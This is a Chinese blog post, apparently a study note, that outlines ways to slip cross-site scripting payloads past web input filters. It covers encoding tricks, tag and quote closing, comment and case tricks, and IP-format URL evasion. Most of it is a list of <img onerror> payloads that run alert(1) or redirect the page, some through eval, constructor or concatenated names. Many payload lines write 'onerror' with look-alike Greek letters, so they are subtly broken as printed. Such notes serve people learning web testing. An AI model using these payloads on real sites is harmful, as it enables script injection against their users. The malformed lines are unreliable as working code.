XSS绕过方法总结

  • htmlspecialchars():将预定义字符转为实体编码
    • " < > & ' 等字符转为文本型实体编码
  • 常用的xss注入方法
    • <img>标签
    • <a>标签
    • <input>标签
    • 事件触发
      • onmouseover
      • onclick
      • onfocus等
  • XSS寻找和绕过
    • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
      • 搜索框;留言板等
    • 根据源码分析xss绕过方法
      • 引号闭合
      • 标签闭合
      • 大小写绕过
      • 双写绕过
      • &截断 /#截断
      • %09 %0a %0d / 绕过(针对关键字/空格过滤)
      • ng-include外包文件绕过(DOM中)
        • 引入文件作为当前节点的子节点
      • bp抓包绕过(针对前端限制或隐藏标签)
      • 编码绕过
        • url编码
          • 可以二次url编码;针对%可以一直编码为%25,不断叠加
          • 如w编码是%77;二次编码就是%2577
        • html实体编码
          • 文本型
          • 十进制
          • 十六进制
        • js编码(unicode编码)
      • 注释符绕过
        • html注释有两种
          • <!-- -->
          • <!-- --!>
          • -->可以表示单行注释
      • 古英文符号绕过
        • ſ :表示s的另一种写法;转为大写是S
      • 不完整标签绕过
        • <img src οnerrοr="alert(1)"
      • </style > :中间加空格不影响标签效果
      • 针对url过滤时
        • url编码
        • 使用ip绕过
          • ip十进制
          • ip八进制
          • ip十六进制
          • 使用//代替http://(也可以使用\代替)
        • 使用中文的标点符号代替英文符号进行绕过
          • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
      • 括号过滤()
        • throw绕过
          • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
        • 反引号代替`(esc下面的键)
        • 编码绕过
      • 函数(重点)
        • 字符串拼接函数(用法都一样)
          • eval
            • <img src="x" οnerrοr="eval('al'+'ert(1)')">
          • top
            • <img src="x" οnerrοr="top['al'+'ert'](1)">
          • window
          • self
          • parent
          • frames
        • 常用函数
          • <img src="x" οnerrοr="eval(alert(1))">
          • <img src="x" οnerrοr="open(alert(1))">
          • <img src="x" οnerrοr="document.write(alert(1))">
          • <img src="x" οnerrοr="setTimeout(alert(1))">
          • <img src="x" οnerrοr="setInterval(alert(1))">
          • <img src="x" οnerrοr="Set.constructor(alert(1))">
          • <img src="x" οnerrοr="Map.constructor(alert(1))">
          • <img src="x" οnerrοr="Array.constructor(alert(1))">
          • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
          • <img src="x" οnerrοr="constructor.constructor(alert(1))">
          • <img src="x" οnerrοr="[1].map(alert(1))">
          • <img src="x" οnerrοr="[1].find(alert(1))">
          • <img src="x" οnerrοr="[1].every(alert(1))">
          • <img src="x" οnerrοr="[1].filter(alert(1))">
          • <img src="x" οnerrοr="[1].forEach(alert(1))">
          • <img src="x" οnerrοr="[1].findIndex(alert(1))">
        • 赋值拼接
          • <img src οnerrοr=_=alert,_(1)>
          • <img src x=al y=ert οnerrοr=top[x+y](1)>
          • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
          • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

相关推荐

  1. XSS方法总结

    2024-02-02 04:32:03       58 阅读
  2. xss相关知识点与思路总结

    2024-02-02 04:32:03       39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-02 04:32:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-02 04:32:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-02 04:32:03       82 阅读
  4. Python语言-面向对象

    2024-02-02 04:32:03       91 阅读

热门阅读

  1. mybatis中使用小于号

    2024-02-02 04:32:03       54 阅读
  2. 二层环路和三层环路

    2024-02-02 04:32:03       44 阅读
  3. 数据库管理-第142期 DBA?DBA!(20240131)

    2024-02-02 04:32:03       40 阅读
  4. Python实现TCP和UDP通信

    2024-02-02 04:32:03       50 阅读
  5. Pinia|VUe的状态管理库

    2024-02-02 04:32:03       58 阅读
  6. qDebug()打印QString去除引号的三种方式

    2024-02-02 04:32:03       49 阅读
  7. CSS Transition(过渡效果)详解

    2024-02-02 04:32:03       50 阅读
  8. C++(20):通过concept及nlohmann将数据转换为字符串

    2024-02-02 04:32:03       51 阅读